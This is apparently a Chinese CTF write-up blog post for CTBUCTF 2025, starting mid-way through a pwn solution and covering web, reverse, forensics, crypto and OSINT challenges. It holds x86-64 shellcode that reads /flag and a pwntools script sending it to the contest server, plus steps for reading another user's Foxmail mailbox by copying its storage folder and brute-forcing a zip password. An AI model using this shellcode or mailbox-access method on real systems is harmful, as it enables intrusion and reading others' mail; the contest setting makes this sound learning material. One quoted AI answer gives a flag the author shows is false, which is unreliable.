  /* 调用openat(AT_FDCWD, "/flag", O_RDONLY) */
  mov rdi, -100           /* AT_FDCWD */
  xor rdx, rdx           /* O_RDONLY=0 */
  xor r10, r10           /* mode=0 */
  /* 构造syscall号257 */
  xor rax, rax
  inc rax
  shl rax, 8
  inc rax                 /* rax=0x101=257 */
  syscall

  /* 调用sendfile(1, fd, 0, 0x1000) */
  xor rdi, rdi
  inc rdi                 /* stdout=1 */
  mov rsi, rax           /* 文件描述符 */
  xor rdx, rdx           /* offset=0 */
  xor r10, r10
  mov r10b, 0x10         /* 构造0x1000 */
  shl r10, 8
  xor rax, rax
  mov al, 40             /* sendfile系统调用号 */
  syscall

  /* 保持连接 */
  jmp $
''')

assert b'\x00' not in shellcode, "检测到空字节!"

# 连接并发送shellcode
r = remote('ctf.ctbu.edu.cn', 33249)
r.recvuntil(b'Your shellcode:\n')
r.send(shellcode)
r.interactive()

[WEB]Welcome !!

emmm,差点错过签到

一开始开了实例没做就是没看懂这个:

> 发现XOR密钥提示: 学校英文缩写+年份 > 提示: CTBU + 2025

卡在不理解这个怎么XOR()

真XOR后,值不该为1吗()

但是最后一个小时死马当活马医的时候

原封不动输入CTBU + 2025

然后成功了()

最后要那个什么暴力破解

我试过直接去改那个进度

但是改了摁一次又没用,又回到原起点了

我真暴力破解的(指连续按动鼠标左键一千次)

[WEB]terminal

源代码页面有flag-B3dzNh19.js

看不懂,交给AI

AI原话:

在提供的代码中,flag 的值被定义在 _0xcf6a18 变量中,其值是通过拼接多个 String.fromCharCode 的结果得到的。以下是 _0xcf6a18 变量的定义:

const _0xcf6a18 = String.fromCharCode(0x66, 0x6c, 0x61, 0x67) + '{' + String.fromCharCode(0x37, 0x68, 0x31, 0x35) + '_' + String.fromCharCode(0x31, 0x35) + '_' + String.fromCharCode(0x61) + '_' + String.fromCharCode(0x76, 0x33) + String.fromCharCode(0x72, 0x79) + '_' + String.fromCharCode(0x67, 0x30, 0x30, 0x64) + '_' + String.fromCharCode(0x35, 0x37, 0x34, 0x37) + '}';

将这些字符码转换为字符:

  • String.fromCharCode(0x66, 0x6c, 0x61, 0x67) 转换为 flag
  • String.fromCharCode(0x37, 0x68, 0x31, 0x35) 转换为 7h15
  • String.fromCharCode(0x31, 0x35) 转换为 15
  • String.fromCharCode(0x61) 转换为 a
  • String.fromCharCode(0x76, 0x33) 转换为 v3
  • String.fromCharCode(0x72, 0x79) 转换为 ry
  • String.fromCharCode(0x67, 0x30, 0x30, 0x64) 转换为 g00d
  • String.fromCharCode(0x35, 0x37, 0x34, 0x37) 转换为 5747

将这些部分组合在一起,得到:

flag{7h15_15_a_v3ry_g00d_5747}

因此,flag 的值是:

flag{7h15_15_a_v3ry_g00d_5747}

[REVERSE]SignUp

没看懂,一开始大致就以为就是base32,结果cyberchef解密出来看着不对劲,还以为没这么简单

结果选择交给ai

ai原话:

这段代码是一个C++程序的main函数,其功能是读取用户输入的字符串,将其进行Base32编码,然后与一个硬编码的Base32字符串进行比较,最后根据比较结果输出“Right”或“Wrong”。从代码中可以看出,硬编码的Base32字符串是MN2GE5LDORTHWVZTNRRTA3JTL52DAX3DORRHKY3UMYZDAMRVL4ZW42RQPEQX2===,这是程序用来验证用户输入是否正确的flag。

为了找到正确的flag,我们需要对这个硬编码的Base32字符串进行解码。以下是解码过程:

  1. 提取硬编码的Base32字符串:从代码中提取出MN2GE5LDORTHWVZTNRRTA3JTL52DAX3DORRHKY3UMYZDAMRVL4ZW42RQPEQX2===
  2. 使用Base32解码工具或库进行解码:我们可以使用Python的base64.b32decode函数来解码这个字符串。
import base64

encoded_flag = "MN2GE5LDORTHWVZTNRRTA3JTL52DAX3DORRHKY3UMYZDAMRVL4ZW42RQPEQX2==="
decoded_flag_bytes = base64.b32decode(encoded_flag)

# 将解码后的字节转换为字符串
decoded_flag = decoded_flag_bytes.decode('utf-8')
print(decoded_flag)
  1. 运行解码脚本:执行上述Python脚本,得到解码后的flag。
flag{38d52a6b1d0b4c8a9e5d8e7f2a1b4c8d}

硬编码的Base32字符串MN2GE5LDORTHWVZTNRRTA3JTL52DAX3DORRHKY3UMYZDAMRVL4ZW42RQPEQX2===解码后的flag是:

flag{38d52a6b1d0b4c8a9e5d8e7f2a1b4c8d}

但是这ai说假话,都不是ctbuctf开头,一眼假,拿这个脚本本地跑一遍就是真flag

D:\python\pythonProject.venv\Scripts\python.exe D:\python\pythonProject\re1.py ctbuctf{W3lc0m3_t0_ctbuctf2025_3nj0y!}

进程已结束,退出代码为 0

(奇了怪了,为什么cyberchef base32解出来不是这个效果)

[FORENSICS]学弟复仇记Ⅰ:情人节行动

neta USB键盘流量勾选,一把梭了()

不多写了

ctbuctf{xxxLoveyyy1314_xxx20000818_qweasdzxc123456}

[FORENSICS]学弟复仇记Ⅱ:网络谜踪

开机,找到目标文件,沙箱跑一下

反连IP到手

ctbuctf{103.117.120.68}

(我做第三题的时候,我以为我都怀疑我进错题目了,这不terminal吗)

[FORENSICS]学弟复仇记Ⅲ:已读邮件

这个盲点了()

虽然一开始就看到了有说替换文件夹更换账号登录一下foxmail就能直接看到本地,欸,但我偏是一身反骨非要想要轩哥的邮箱密码怎么办()

然后反骨因为死活找不到好用的工具被打断了

实际上操作很简单,找到foxmail存在的文件夹

打开,翻到Storage 文件夹

进去,如果没另外开一个账号登录上去,该文件夹里面只有一个号的内容

3676459182@qq.com 就这么个文件夹

直接登个号上去,foxmail会自己重创一个新号的文件夹来存放新号的内容

这个时候直接把3676459182@qq.com 的东西全部复制到新号文件夹里面,该替换的全部替换

然后正常登录

欸,直接就是谢学姐的邮箱了

翻翻,就能找到和这题相关的邮件内容

(话说为什么是垃圾邮件,我一开始真没想过这里)

拿到目标压缩包,这没难度了,取证Ⅰ那三个密码才用一个

要有名字小写缩写还要有年月日

一看就是xxx20000818

他说还要三个字符

那很简单了,掩码开爆三位而已

xxx20000818#@~

开zip文件看txt

按要求组出flag就好了

ctbuctf{Ntadmin_Who1sadmin666}

[CRYPTO]Prime_Alchemy

喂给AI,AI做的()

deepseek最有用的一集

两步,一步算最近的素数,作为s

from sympy import nextprime

r = 106717009340925619191040788851283935614953730245463182427804911229989214267850
s = nextprime(r)
print(s)

s算完放下一个代码找q

import math
from sympy import isprime, nextprime  # 确保导入nextprime

n = 1918043345993555532778611270206148143792126146234143705959925125326754727020622131782344590751952092307008318769288521916451852274627587418916993424491121593546458666802410833126575592054664856030921027465688561558012934456025628623
r_val = 106717009340925619191040788851283935614953730245463182427804911229989214267850
s_val = 106717009340925619191040788851283935614953730245463182427804911229989214268093

found = False
q = 0

for delta in range(2, 1000, 2):
   a = s_val + r_val
   b = delta * r_val
   c_eq = -n
   
   discriminant = b**2 - 4 * a * c_eq
   root = math.isqrt(discriminant)
   if root * root != discriminant:
       continue
   
   q_candidate1 = (-b + root) // (2 * a)
   q_candidate2 = (-b - root) // (2 * a)
   
   for q_candidate in [q_candidate1, q_candidate2]:
       if q_candidate <= 0:
           continue
       if not isprime(q_candidate):
           continue
       
       t = nextprime(q_candidate)  # 现在可以正确调用
       if t - q_candidate != delta:
           continue
       
       p_candidate = q_candidate * s_val + t * r_val
       if p_candidate * q_candidate == n and isprime(p_candidate):
           q = q_candidate
           found = True
           break
   if found:
       break

if found:
   print(f"Found q: {q}")
else:
   print("No solution found.")

q找到了填进去,然后就出了()

import random
from Crypto.Util.number import isPrime, inverse, long_to_bytes
from math import prod

# ============================= 初始化配置 =============================
RSA_SEED = 0
BIT_SIZE = 1024
FACTORS_PER_PRIME = BIT_SIZE // 64  # 16个初始因子
POOL_SIZE = 500_000  # 素数池容量


# ============================= 生成确定素数池 =============================
def generate_prime_pool():
   """生成与题目完全一致的素数序列"""
   rng = random.Random(RSA_SEED)
   pool = []
   print(f"Generating {POOL_SIZE} deterministic primes...")
   while len(pool) < POOL_SIZE:
       p = rng.getrandbits(64)
       if isPrime(p):
           pool.append(p)
           if len(pool) % 50_000 == 0:
               print(f"Generated {len(pool)} primes")
   print("Prime pool ready")
   return pool, rng  # 返回素数池和随机实例


prime_pool, shared_rng = generate_prime_pool()


# ============================= 分解核心逻辑 =============================
class PrimeGeneratorSimulator:
   def __init__(self, pool, rng):
       self.pool = pool
       self.rng = rng  # 共享原始随机实例

   def find_factor(self, n):
       """尝试找到n的因子"""
       # 保存原始随机状态以便恢复
       original_state = self.rng.getstate()

       # 尝试不同初始偏移量
       for offset in [0, 16, 32, 64]:
           print(f"\n尝试偏移量 {offset}...")
           # 恢复初始随机状态
           self.rng.setstate(original_state)

           # 消耗随机状态到当前偏移量
           for _ in range(offset):
               self.rng.getrandbits(1)  # 推进随机状态

           factors = self.pool[offset:offset + FACTORS_PER_PRIME]
           product = prod(factors)
           pointer = offset + FACTORS_PER_PRIME

           for attempt in range(len(self.pool) - pointer):
               # 生成候选素数
               candidate = 2 * product + 1

               # 检查是否为因子
               if candidate > 1 and n % candidate == 0:
                   print(f"!!! 在尝试 {attempt} 次后找到因子 !!!")
                   return candidate

               # 执行替换操作
               if not factors:
                   break

               # 使用共享的随机实例进行选择
               removed = self.rng.choice(factors)
               factors.remove(removed)
               new_prime = self.pool[pointer]
               factors.append(new_prime)

               # 更新状态
               product = (product // removed) * new_prime
               pointer += 1

               # 进度显示
               if (attempt + 1) % 50_000 == 0:
                   print(f"进度: {attempt + 1} 次尝试 | 当前指针位置 {pointer}")

       return None


# ============================= 主执行流程 =============================
if __name__ == "__main__":
   # 题目参数
   n = 54632360226691302852393337083378936404439091622585434894080425422639462976869095352159173869297802396075084609260560927073559959001848047113104241683833938815576980565230385166784810536186331676590973947371420551701092181820284412035912571165474721102375308329748282541380513558093018083234322319720394285544950864959194544705289726233827910085957365102708698097998770377421962992962239186941042781266152450706257434382829986850284413758466402371713770049268149375377808988129431696023769427574486278264941241688559889651743958916536828652340523203100054230405229950065588454244779576031253841752168128641
   e = 65537
   c = 8218515498494830002751179239620718191747152685793968309620676056056519106009547392379273088181464052483475344707307447199155796889559930133214920641858277538496303269350999547095759742706487783701262955293848384778842147513997382071018614167287765060627752353576353266471865646980065800224840670372962433766255108798942730297544536772063984522428164974052436213727925632196494534854762886770767541907182236148991459924627516626392195718556618682716868365578548277991257352385123267837490179575618377169065404316486019124653230726551447248854055659002613449521498913964553479452290086288224892415735676102

   # 分解模数
   simulator = PrimeGeneratorSimulator(prime_pool, shared_rng)
   if (p := simulator.find_factor(n)):
       q = n // p
       print(f"\n分解成功:\np = {p}\nq = {q}")

       # 解密flag
       phi = (p - 1) * (q - 1)
       d = inverse(e, phi)
       m = pow(c, d, n)
       print("\nFlag:", long_to_bytes(m).decode())
   else:
       print("\n未能分解模数,可能需要扩大素数池")

[OSINT]网络迷踪擂台赛 Ⅱ :鼠鼠旅行记

这个到手上,直接秒出()

这拍摄角度,不能说大差不差,只能说是一模一样

跟进图片,找到说是啥小鱼山

搜一下就找到完整地址了

ctbuctf{山东省_ 青岛市 _ 市南区 _ 福山支路 _ 小鱼山公园}

[OSINT]网络迷踪擂台赛 Ⅲ:除魔卫道

我自己的题,emmmm

由记忆力,得

flag:ctbuctf{重庆市 _ 渝北区 _ 金渝大道29号 _ 欢乐谷}

(出得有点史了,可我真没活了,还不让我去找人众筹一个图片,为难不拍照党)

[OSINT]网络迷踪擂台赛 Ⅳ:空中栈道的秘密

这个也是到手和秒出没什么区别

ctbuctf{浙江省 _ 杭州市 _ 桐庐县 _ 垂云通天河}

[OSINT]网络迷踪Ⅵ:城墙建筑

跟进第一个图片

找到这个图片的出处,一个帖子

都说了是西安城墙了

看看地址就好了

ctbuctf{陕西省_西安市_碑林区_西安城墙}

[OSINT]网络迷踪擂台赛 Ⅶ:0k@b3の復仇

emmm,又是我自己的,由记忆可知,flag为:

ctbuctf{贵州省_贵阳市_观山湖区_金朱东路}

[OSINT]网络迷踪擂台赛 Ⅷ :PP同学旅游规划

六月一号去中南海,中南海在北京,也就是重庆江北飞北京就好,携程上面找就行,最晚一班

ctbuctf{川航3U1086_22:20}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇